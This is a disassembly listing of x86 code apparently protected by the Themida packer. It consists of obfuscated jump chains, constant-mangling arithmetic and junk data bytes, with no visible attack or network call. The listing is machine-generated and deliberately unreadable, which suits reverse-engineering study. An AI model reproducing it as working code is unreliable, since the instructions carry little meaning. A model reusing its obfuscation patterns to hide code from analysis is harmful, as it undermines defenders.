		and	eax, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	586Ah
		mov	[esp], esi
		jmp	loc_55B624
; ---------------------------------------------------------------------------
		db 5Eh
		dd 476FC681h, 0F101EACCh, 0FF616AE9h, 4EC83FFh,	0FFEBE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5625D1:				; CODE XREF: Themida_:00553506j
		push	ebx
		mov	ebx, 450157D6h
		xor	eax, ebx
		pop	ebx
		pop	edi
		push	ebp
		mov	ebp, esp
		push	edi
		push	57144A69h
		jmp	loc_563CBA
; ---------------------------------------------------------------------------
		db 0B9h, 0B5h, 7Fh
		dd 0BA521BF4h, 73D3511Dh, 0FFD501E9h, 0E9E828FFh, 0FFFF9158h
		dd 55FF801h, 3645719Eh,	9659FB2Dh, 0F8E7E907h, 0C483FFFFh
		dd 0E9C33002h, 0FFFF5D56h
; ---------------------------------------------------------------------------


loc_56261C:				; CODE XREF: Themida_:00556A1Bj
		shl	ebp, 6
		shl	ebp, 8
		not	ebp
		jmp	loc_55EF29
; ---------------------------------------------------------------------------


loc_562629:				; CODE XREF: Themida_:00555580j
		mov	edx, ecx
		pop	ecx
		and	ecx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	ebx
		push	0E655F2Ah
		pop	ebx
		add	ebx, 2BF30CB0h
		jmp	loc_554FED
; ---------------------------------------------------------------------------


loc_56264D:				; CODE XREF: Themida_:00553919j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_559372
; ---------------------------------------------------------------------------
		dd 2BEh, 8BF10100h, 0C4832434h,	4D28E904h, 0DE01FFFFh
		dd 5F77C681h, 315B4F52h, 2434FFF0h, 5024348Bh, 0FF8CA8E9h
		dd 0E9CA89FFh, 0FFFF6307h
; ---------------------------------------------------------------------------


loc_562688:				; CODE XREF: Themida_:0055457Ej
		mov	ebx, esi
		pop	esi
		neg	ebx
		shl	ebx, 4
		jmp	loc_55A086
; ---------------------------------------------------------------------------


loc_562695:				; CODE XREF: Themida_:00562FE6j
		add	esi, 4
		jmp	loc_556FD6
; ---------------------------------------------------------------------------
		dd 79E055Eh, 0A3E93C02h, 0F7FFFFBBh, 3C26E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626B2:				; CODE XREF: Themida_:0055A90Ej
		add	esp, 4
		push	6C6Dh
		mov	[esp], eax
		mov	al, dl
		jmp	loc_56536B
; ---------------------------------------------------------------------------
		dd 0D9FBEB81h, 0D929E34Eh, 0BAE9575Bh, 83000006h, 42E901EEh
		dd 81FFFF28h, 5B5426EAh, 95EA8143h, 5B17173Fh, 4C281h
		dd 14870000h, 3E52E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5626F6:				; CODE XREF: Themida_:00553DADj
		mov	[esp], edx
		push	ecx
		push	edx
		mov	dl, al
		mov	ch, dl
		pop	edx
		jmp	loc_554C30
; ---------------------------------------------------------------------------


loc_562705:				; CODE XREF: Themida_:005651B3j
		shl	ebx, 1
		xor	ebx, 60AB0194h
		sub	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 7A1D7778h
		not	edi
		shl	edi, 3
		or	edi, 4915A12h
		jmp	loc_55CF54
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0FF1370E9h, 0B8EB81FFh, 1698B24h, 0B8C381EBh, 0E9698B24h
		dd 0FFFF7043h, 8DBAF181h, 0CB01B36Eh, 8B2434FFh, 0C481240Ch
		dd 4, 8704C483h, 248B241Ch, 3CD36624h, 87E99C24h, 59FFFEEFh
		dd 3374E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56276E:				; CODE XREF: Themida_:00553E64j
		and	edi, ebx
		jmp	loc_557DB8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3647E581h, 0EDC13D78h, 0D4ED8103h, 0C10BB531h, 0F58108EDh
		dd 311C6F4Ah, 89EE8956h, 49E95EF2h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56279B:				; CODE XREF: Themida_:00563D94j
		dec	ch
		not	ch
		jmp	loc_554BA1
; ---------------------------------------------------------------------------
		dd 908BB53h, 0DE97188h,	89FFFF36h, 24148BD0h, 0E904C483h
		dd 0FFFFB4BAh
; ---------------------------------------------------------------------------


loc_5627BC:				; CODE XREF: Themida_:0055C55Fj
		mov	ebx, 0FF7EFD6Ch
		add	ecx, 72190C76h
		sub	ecx, ebx
		sub	ecx, 72190C76h
		pop	ebx
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_565583
; ---------------------------------------------------------------------------


loc_5627E4:				; CODE XREF: Themida_:00559C03j
		push	dword ptr [edx]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55421B
; ---------------------------------------------------------------------------
		db 0B8h, 0E5h, 28h
		dd 89E9099Eh
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5627FB:				; CODE XREF: Themida_:005647DAj
		inc	ebp
		jmp	loc_55ECA8
; ---------------------------------------------------------------------------


loc_562801:				; CODE XREF: Themida_:005585B1j
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	31F4h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55ACC5
; ---------------------------------------------------------------------------


loc_562821:				; CODE XREF: Themida_:005658C3j
		pop	edx
		jmp	loc_55C946
; ---------------------------------------------------------------------------


loc_562827:				; CODE XREF: Themida_:00559013j
		sub	ebx, 7ECD2CE0h
		jmp	loc_55D0F1
; ---------------------------------------------------------------------------


loc_562832:				; CODE XREF: Themida_:0055C0C7j
		and	ebx, 7E95718h
		sub	ebx, 55FC4F4Dh
		sub	ebx, 0A545DE68h
		mov	edx, ebx
		pop	ebx
		and	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55731B
; ---------------------------------------------------------------------------


loc_562857:				; CODE XREF: Themida_:0055AD49j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55E629
; ---------------------------------------------------------------------------


loc_562865:				; CODE XREF: Themida_:0055F28Ej
		pop	eax
		sub	edi, ebx
		jmp	loc_55C174
; ---------------------------------------------------------------------------


loc_56286D:				; CODE XREF: Themida_:0055AF95j
		add	bl, 0C8h
		add	bl, ah
		sub	bl, 0C8h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B5E9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 0EE5CE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562892:				; CODE XREF: Themida_:0055FAA9j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 1856CB0h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1856CB0h
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55CA3B
; ---------------------------------------------------------------------------
		db 5
		dd 4EDD12A5h, 1D83E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 794B2A8Ah
		add	ebp, ebx
		push	edx
		sub	esp, 4
		jmp	loc_555C4D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 2474FF53h, 241C8B04h,	8F04C483h, 248B2404h
		dd 2434FF24h, 0FF408FE9h, 240489FFh, 0FFA618E9h, 48E951FFh
		dd 81FFFF93h, 221D6CEEh, 0AF29E9DEh, 0E901FFFFh, 0B25E95Dh
		dd 0CF80FFFFh, 0F3F7800Eh, 2856C280h, 56EA80FAh, 0E9CAFE5Bh
		dd 0FFFEEFE1h, 35E9C201h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56295F:				; CODE XREF: Themida_:0055432Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bl, 0A4h
		jmp	loc_557BE0
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DBF703E3h, 7E8CC381h, 0C3812B48h, 0BB333880h, 15BDE29h
		dd 24348BF1h, 0F704C483h, 71BA52D9h, 0C1394D09h, 0DAF707E2h
		dd 0FF337EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5629A5:				; CODE XREF: Themida_:00552A80j
		push	ebx
		mov	ebx, 7EE40B1Bh
		and	ebx, 6FC25285h
		and	ebx, 4C826CB7h
		and	ebx, 46A46F15h
		or	ebx, 7BF653D3h
		xor	ebx, 2BBFC3B9h
		sub	ecx, ebx
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, 46D417EFh
		mov	ebx, eax
		pop	eax
		jmp	loc_559010
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_560A87
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 5D4A68h, 243C8900h, 4BFh,	2991E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A12:				; CODE XREF: Themida_:00552B01j
		pop	esp
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	edx, 70D425Bh
		add	edx, 3808442Fh
		add	edx, ecx
		push	ebp
		mov	ebp, 60876F5h
		shl	ebp, 1
		jmp	loc_554EB0
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF8348E9h, 0E9EB30FFh, 0FFFF3174h
; ---------------------------------------------------------------------------


loc_562A44:				; CODE XREF: Themida_:00552B48j
		xor	ebp, ecx
		jmp	loc_553756
; ---------------------------------------------------------------------------


loc_562A4B:				; CODE XREF: Themida_:00566C9Dj
		pop	esp
		shr	esi, 6
		not	esi
		add	esi, 3199172Ch
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		and	edi, 53FC4361h
		and	edi, 42742E04h
		push	eax
		mov	eax, 3ABB62DDh
		xor	eax, 3D557343h
		add	eax, 28C036F6h
		or	eax, 63F917F5h
		jmp	loc_5591F9
; ---------------------------------------------------------------------------
		dd 1CB2F681h, 0DF686CA2h, 8900004Bh, 30BD242Ch,	8101197Ch
		dd 5089EDh, 3246E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562AA6:				; CODE XREF: Themida_:00565E0Fj
		shr	edx, 4
		dec	edx
		dec	edx
		sub	edx, 37AF57D4h
		inc	edx
		jmp	loc_5580A1
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CD8006EDh, 0F7BCE9FBh, 6658FFFEh, 23EA805Bh, 0E9CCC280h
		dd 0FFFFE381h, 466D68h,	62706800h, 52E90000h, 53FFFFCAh
		dd 70A3F5BBh, 5BDE31DCh, 0FF9D46E9h, 241487FFh,	242C8B5Ch
		dd 5504C483h, 87241487h, 0C4A3E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B02:				; CODE XREF: Themida_:00566637j
		add	eax, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7CD06392h
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_559C62
; ---------------------------------------------------------------------------


loc_562B22:				; CODE XREF: Themida_:00558949j
		push	75A2h
		mov	[esp], ecx
		mov	ecx, 510566C6h
		and	ecx, 55F44002h
		dec	ecx
		shl	ecx, 6
		jmp	loc_55D98B
; ---------------------------------------------------------------------------


loc_562B3E:				; CODE XREF: Themida_:0055C0B9j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_556FDC
; ---------------------------------------------------------------------------


loc_562B51:				; CODE XREF: Themida_:00557EC4j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_566562
; ---------------------------------------------------------------------------
a4rhT		db '4àh&T',0
		dd 240C8900h, 0FFEE37E9h, 4C483FFh, 46852h, 0E95A0000h
		dd 0FFFF2696h, 8324148Bh, 42E904C4h, 58FFFF9Ah,	37E9D301h
		dd 0BBFFFFF5h, 2CCB0DEFh, 0FF4356E9h, 21685AFFh, 89000019h
		dd 0C8E9241Ch, 8B00001Ah, 0C483242Ch, 7004E904h, 8147FFFFh
		dd 0A721B4EFh, 2AEF8122h, 316DDF14h, 0D1095FFAh, 96BD555Ah
		dd 817BB026h, 1C5h, 8FE58100h, 45299954h, 85DDED81h, 0E929AC12h
		dd 59C8015Dh, 4BB53h, 0D8010000h, 2404335Bh, 33240431h
		dd 0E95C2404h, 0FFFEEAF2h, 50EE295Ah, 0FEFFA0E9h, 5FFA31FFh
		dd 215AD601h, 24348BF2h, 56E28952h, 0FFA6A2E9h,	0F3685CFFh
		dd 89000014h, 0EC81242Ch, 4, 24048F54h,	4240481h, 5D000000h
		dd 519368h, 241C8900h, 421306BBh, 2EB814Dh, 814D4213h
		dd 4E08E1EDh, 0E9DD0137h, 3413h, 5127F380h, 0D5F6F9B5h
		dd 0E901C580h, 0FFFF57ACh, 5C243487h, 0BA241489h, 7DBB5E43h
		dd 295AD001h, 6C7DE9D8h, 77FFFFFFh, 59669D1Ch, 241CD366h
		dd 0EA64E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562C8A:				; CODE XREF: Themida_:005635F6j
		mov	[esp], ecx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ecx
		jmp	loc_55557A
; ---------------------------------------------------------------------------
		db 1
		dd 0BEA81C2h, 0E9165B7Eh, 0FFFF9E14h
; ---------------------------------------------------------------------------


loc_562CA8:				; CODE XREF: Themida_:00558D5Dj
		push	ecx
		mov	ecx, 45A8200Bh
		sub	ecx, 45D51CAEh
		sub	ecx, 1A127C18h
		add	ecx, 1
		xor	ecx, 837BEC13h
		or	ebp, ecx
		pop	ecx
		push	edi
		push	15BFh
		jmp	loc_566C83
; ---------------------------------------------------------------------------


loc_562CD4:				; CODE XREF: Themida_:00565CA2j
		sub	esp, 4
		jmp	loc_556C36
; ---------------------------------------------------------------------------


loc_562CDC:				; CODE XREF: Themida_:00564E73j
		pop	esp
		mov	[esp], ebx
		jmp	loc_563469
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E9243C31h, 0FFFF067Dh
; ---------------------------------------------------------------------------


loc_562CF0:				; CODE XREF: Themida_:00562D06j
		push	62C4303h
		jmp	loc_5556D4
; ---------------------------------------------------------------------------


loc_562CFA:				; CODE XREF: Themida_:005665DCj
		pop	esp
		mov	[esp], edx
		push	1B5h
		mov	[esp], ecx
		jmp	loc_562CF0
; ---------------------------------------------------------------------------
		db 58h
		dd 0DD12A52Dh, 0E9F0014Eh, 0FFFFFBB7h, 88D88850h, 0FDA0E9C5h
		dd 0BD55FFFFh, 4, 29E8C381h, 0C381431Ch, 185B0757h, 24FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_562D39:				; CODE XREF: Themida_:005518CAj
		push	ebx
		mov	bl, 0BCh
		inc	bl
		and	bl, 47h
		add	bl, 62h
		add	al, bl
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5655EC
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 1E2F468Eh, 8EEA815Ah, 581E2F46h, 148BD329h, 4C48324h
		dd 0E92434FFh, 0FFFF2286h, 241CF766h, 0E970E99Ch, 4BEFFFEh
		dd 29000000h, 24348BF5h, 0FF86DDE9h, 14D4BFFFh,	0F9292E01h
		dd 2434FF5Fh, 0FEF806E9h, 0EC8151FFh, 4, 83242489h, 0E9042404h
		dd 0FFFFEF27h, 68240C89h, 4, 59CB0159h,	2BF57h,	0EB810000h
		dd 1E807595h, 7140C381h, 0C3816A99h, 7E7C5F45h,	5981EB81h
		dd 0FB012957h, 5981C381h, 57E92957h, 29FFFF55h,	15E5EF1h
		dd 148759CAh, 17C4E924h, 0C890000h, 95F5E924h, 86BAFFFFh
		dd 4248E731h, 24ACF281h, 0DAF73002h, 0F707EAC1h, 0EBF57DAh
		dd 0E9BE8B6Eh, 0FFFFFDE9h, 0D164E95Dh, 34FFFFFFh, 240C8B24h
		dd 4C481h, 0E9560000h, 0FFFF656Ah
; ---------------------------------------------------------------------------


loc_562E34:				; CODE XREF: Themida_:00558F92j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_560922
; ---------------------------------------------------------------------------
aQXbsx		db 'Q¹`:³xéX',0
		db 55h,	53h, 81h
		dd 6F6D71C9h, 1FC1817Eh, 413BDE23h, 5D69C181h, 0CA0144A2h
		dd 24148759h, 0B551665Ch, 144CE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E76:				; CODE XREF: Themida_:0055FF5Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55BEB4
; ---------------------------------------------------------------------------


loc_562E84:				; CODE XREF: Themida_:0055ACA8j
		inc	esi
		xchg	esi, edx
		jmp	loc_55C1A6
; ---------------------------------------------------------------------------


loc_562E8C:				; CODE XREF: Themida_:0056567Fj
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_564714
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHy		db '$hy',1Bh,0
		align 2
		dw 3489h
		dd 3F5DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EB2:				; CODE XREF: Themida_:00563AD5j
		pop	ecx
		xor	cl, dl
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55BCF6
; ---------------------------------------------------------------------------
		db 89h
		dd 0DBBD242Ch, 8163806Ah, 0B504F7C5h, 0EBC58168h, 299621E4h
		dd 0BF575DE8h, 20317257h, 595FF801h, 0E9240487h, 0FFFF8697h
		dd 8904EC83h, 94BE2434h, 0C1351448h, 0CE8104EEh, 3C660330h
		dd 0FF2488E9h, 4C283FFh, 5C241487h, 0E9241487h,	0FFFF0DC6h
; ---------------------------------------------------------------------------


loc_562F20:				; CODE XREF: Themida_:00557CE6j
		mov	dl, 0ECh
		neg	dl
		jmp	loc_55578D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E9545624h, 0FFFF2870h, 8B242C87h, 3C332424h, 7066E924h
		dd 0C281FFFFh, 7EC56B7Ah, 7007BF57h, 0FA29EA30h, 0FFC80AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562F55:				; CODE XREF: Themida_:005573F5j
		shr	ebx, 4
		jmp	loc_5655E6
; ---------------------------------------------------------------------------


loc_562F5D:				; CODE XREF: Themida_:0055F79Bj
		pop	ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, eax
		sub	edx, 558C4C11h
		jmp	loc_55C65B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EC815204h, 4, 0FF45C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562F8D:				; CODE XREF: Themida_:00562135j
		pop	ax
		mov	ch, al
		pop	ax
		dec	ch
		jmp	loc_563893
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 33F2E9h, 8BC18100h, 81636276h, 6A1E94C1h, 0E9F1010Fh
		dd 0FFFF06D4h, 80E9B450h, 0BBE91DCCh, 88FFFFCAh, 0E9D7F6D7h
		dd 2601h, 240C8B66h, 53DD68h, 0D39FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FD6:				; CODE XREF: Themida_:00561561j
		mov	eax, [esp]
		add	esp, 4
		push	206Bh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_562695
; ---------------------------------------------------------------------------


loc_562FEB:				; CODE XREF: Themida_:00556610j
		add	ebx, 702471D5h
		push	ecx
		mov	ecx, 2B52FB33h
		sub	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560878
; ---------------------------------------------------------------------------
		dw 2BBBh
		dd 8178F610h, 0F61027EBh, 5BDA0178h, 2474FF52h,	48F5A04h
		dd 24248B24h, 8104C483h, 7A125EC2h, 1BFFE906h, 8B5F0000h
		dd 0C4812434h, 4, 4EC81h, 2C890000h, 7981BD24h,	0E58130B5h
		dd 7FCF7F2Fh, 289FE9h
		db 0
; ---------------------------------------------------------------------------


loc_563055:				; CODE XREF: Themida_:0055470Dj
		sub	edx, eax
		jmp	loc_559FC3
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFF67C5h
; ---------------------------------------------------------------------------


loc_563064:				; CODE XREF: Themida_:0055CA0Ej
		add	esp, 4


loc_56306A:				; CODE XREF: Themida_:0055FA59j
					; Themida_:00566B15j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	218Ch
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_558B1C
; ---------------------------------------------------------------------------


loc_56308B:				; CODE XREF: Themida_:0055E919j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_563099:				; CODE XREF: Themida_:0055B0F2j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55A1B8
; ---------------------------------------------------------------------------


loc_5630A9:				; CODE XREF: Themida_:005543C1j
		add	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6F0075F4h
		push	edi
		mov	edi, 68FF28EFh
		shl	edi, 4
		push	edx
		mov	edx, 533825AEh
		add	edi, edx
		pop	edx
		jmp	loc_561FEE
; ---------------------------------------------------------------------------
		db 89h,	0FDh, 8Bh
		dd 6AE9243Ch, 81000019h, 75B29EDh, 0F7555871h, 4DE92414h
		dd 53FFFF48h, 0FF9DF9E9h, 338CBAFFh, 5D5217E3h,	0FFB90FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56310D:				; CODE XREF: Themida_:0055840Bj
		mov	esi, 7E5429EEh
		xor	ebp, esi
		pop	esi
		shr	ebp, 8
		jmp	loc_555313
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 5Fh
		dd 245C015Ah, 64AEE904h, 5ADFFFFh, 0CFE206Ah, 3C28E9h
		dd 32406800h, 14890000h, 24BA24h, 0BF570000h, 7C0A78ACh
		dd 23C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56314D:				; CODE XREF: Themida_:005662D2j
		and	eax, ebp
		jmp	loc_5640D9
; ---------------------------------------------------------------------------
		dd 9C240CFFh, 0FEE591E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56315D:				; CODE XREF: Themida_:00554C31j
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		pop	ecx
		mov	bh, dl
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_556D93
; ---------------------------------------------------------------------------
		dd 8BEF8147h, 504FE706h, 0FF6E85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56317D:				; CODE XREF: Themida_:0055B5C5j
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	55DAh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	7454h
		jmp	loc_554CCA
; ---------------------------------------------------------------------------


loc_5631A8:				; CODE XREF: Themida_:005652BEj
		push	edi
		mov	edi, 39B30B91h
		push	esi
		mov	esi, 18814AEDh
		jmp	loc_564A17
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 6Ch
		dd 508021Bh, 2510668Eh,	5327A60Dh, 2E8C171h, 0B10E110Dh
		dd 94E9400Ah, 68FFFEE8h, 3D73h,	89240C89h, 4C181E1h, 83000000h
		dd 0C8704E9h, 24248B24h, 0E9242489h, 0FFFF0339h, 4C48159h
		dd 0FF000000h, 835E2434h, 0FF5204C4h, 5A042474h, 8B24048Fh
		dd 8B662424h, 0EC832404h, 24148904h, 81E18951h,	4C1h, 4B85000h
		dd 29000000h, 24048BC1h, 0C374E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563236:				; CODE XREF: Themida_:00566598j
		and	dl, 0C8h
		jmp	loc_55173D
; ---------------------------------------------------------------------------


loc_56323E:				; CODE XREF: Themida_:0056226Ej
		mov	ebp, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	edx
		mov	edx, ebp
		jmp	loc_5569DB
; ---------------------------------------------------------------------------
		db 4Eh
		dd 8108E6C1h, 5A9704EEh, 5EF1318Fh, 59C0F181h, 0CA01E0F7h
		dd 0FF11EDE9h, 4EC81FFh, 89000000h, 74FF2434h, 8F5E0424h
		dd 0F6E92404h, 81FFFF3Dh, 0AAE447E9h, 59CA0101h, 0D3F7DA87h
		dd 0FF7591E9h, 4EC81FFh, 89000000h, 4EE9242Ch, 4D00002Fh
		dd 0C104EDC1h, 0ED8108E5h, 0E2A252B5h, 0FF2D0AE9h, 0F7D5F7FFh
		dd 0F8ED81DDh, 4D223B23h, 3DA7C581h, 0EA01585Ch, 57DA015Dh
		dd 291ED2BFh, 0A2EFE95Ah, 0D831FFFFh, 0FFB538E9h, 0FFD931FFh
		dd 64E92434h, 68FFFF48h, 0A04h,	0FEF7BAE9h, 0C9068FFh
		dd 3C890000h, 52E78924h, 7C4943BAh, 3EAC129h, 0E903E2C1h
		dd 0FFFFEB8Eh, 3550F468h, 72CAE97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56332A:				; CODE XREF: Themida_:00561B40j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_558718
; ---------------------------------------------------------------------------


loc_56334C:				; CODE XREF: Themida_:005655AAj
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	46F1h
		mov	[esp], edx
		mov	edx, 3B263E00h
		push	edx
		dec	dword ptr [esp]
		jmp	loc_5519E8
; ---------------------------------------------------------------------------
		dd 0B8505559h, 25B22A2Dh, 0FFC241E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563385:				; CODE XREF: Themida_:00554D94j
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_558609
; ---------------------------------------------------------------------------


loc_56338E:				; CODE XREF: Themida_:0055E637j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7C0E10C2h
		inc	ebp
		add	ebp, 83F1EF41h
		sub	ebx, 735716A1h
		add	ebx, 6FDD2A1Dh
		add	ebx, ebp
		sub	ebx, 6FDD2A1Dh
		add	ebx, 735716A1h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_565372
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0EFED81DDh, 811A0735h, 0E311EFC5h, 0B4E3E979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633DE:				; CODE XREF: Themida_:00560D5Fj
		sub	eax, 620C48CFh
		jmp	loc_561EEC
; ---------------------------------------------------------------------------


loc_5633E8:				; CODE XREF: Themida_:0055C6D1j
		sub	bl, al
		push	edx
		mov	dh, 6Dh
		sub	dh, 82h
		shr	dh, 3
		jmp	loc_551D13
; ---------------------------------------------------------------------------
		dd 0CFB25266h, 5A66D388h, 805BDC20h, 0C48085C4h, 51ECD001h
		dd 5251E9B5h, 0F3E902B2h, 5FFFF94h, 514369DCh, 0DC2DD001h
		dd 5A514369h, 31240433h, 83E92404h, 0FFFFFEFDh,	669D1C77h
		dd 24041858h, 0E2B0E99Ch, 0C189FFFEh, 340BE9h, 1C65BD00h
		dd 0EDC13055h, 0F5814506h, 8067DBEAh, 835DEE01h, 348904ECh
		dd 24348124h, 1C92483Bh, 1D7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_563469:				; CODE XREF: Themida_:00562CE0j
		mov	ebx, 3EDFC468h
		xor	edi, ebx
		pop	ebx
		jmp	loc_556A30
; ---------------------------------------------------------------------------
		dw 1489h
		dd 1D7FBA24h, 0EAC156CFh, 0D9C28107h, 0E90CE30Dh, 0FFFF5AADh
; ---------------------------------------------------------------------------


loc_56348C:				; CODE XREF: Themida_:005585CFj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_551C3B
; ---------------------------------------------------------------------------


loc_5634AD:				; CODE XREF: Themida_:005577D2j
		pop	dx
		jmp	loc_556564
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3039h, 8245C01h,	246C295Bh, 0F2BD5504h
		dd 0E949791Ch, 0FFFFE27Ch
; ---------------------------------------------------------------------------


